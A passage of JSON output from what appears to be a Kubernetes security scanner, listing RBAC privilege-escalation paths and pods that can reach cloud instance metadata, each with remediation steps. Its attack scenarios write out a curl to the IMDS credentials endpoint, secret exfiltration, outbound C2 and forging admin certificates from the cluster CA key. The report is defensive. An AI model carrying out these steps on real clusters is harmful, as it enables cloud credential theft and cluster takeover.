      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_hijack",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-patcher"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "permission": "patch deployments",
        "gains": "can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa",
        "source_binding": "gw-patcher",
        "source_role": "gw-patcher",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/rbac-fixtures/sa-token-create:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.8500000000000005,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can **obtain a node identity** for any node in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/kube-system/generic-garbage-collector` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount kube-system/generic-garbage-collector\n  2. `ServiceAccount/kube-system/generic-garbage-collector` → `/` via `bootstrap_token_mint` (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/kube-system/generic-garbage-collector`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/kube-system/generic-garbage-collector`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`delete,get,list,patch,update,watch secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. bootstrap_token_mint [delete,get,list,patch,update,watch secrets in kube-system]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount kube-system/generic-garbage-collector",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete,get,list,patch,update,watch secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "system:controller:generic-garbage-collector",
        "source_role": "system:controller:generic-garbage-collector"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:DaemonSet:rbac-fixtures:daemon-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `DaemonSet/rbac-fixtures/daemon-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `DaemonSet/rbac-fixtures/daemon-app` runs in namespace `rbac-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `DaemonSet/rbac-fixtures/daemon-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `DaemonSet/rbac-fixtures/daemon-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "DaemonSet",
      "workload_name": "daemon-app",
      "workload_namespace": "rbac-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `rbac-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec daemon-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:cloud-eks-test:imds-pivot-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/cloud-eks-test/imds-pivot-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/cloud-eks-test/imds-pivot-app` runs in namespace `cloud-eks-test` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/cloud-eks-test/imds-pivot-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "imds-pivot-app",
      "workload_namespace": "cloud-eks-test"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `cloud-eks-test` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec imds-pivot-app -n cloud-eks-test -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:cloud-eks-test:irsa-admin-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/cloud-eks-test/irsa-admin-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/cloud-eks-test/irsa-admin-app` runs in namespace `cloud-eks-test` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "irsa-admin-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/irsa-admin-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/cloud-eks-test/irsa-admin-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "irsa-admin-app",
      "workload_namespace": "cloud-eks-test"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `cloud-eks-test` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec irsa-admin-app -n cloud-eks-test -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:containersec-fixtures:containersec-image",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/containersec-fixtures/containersec-image` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/containersec-fixtures/containersec-image` runs in namespace `containersec-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
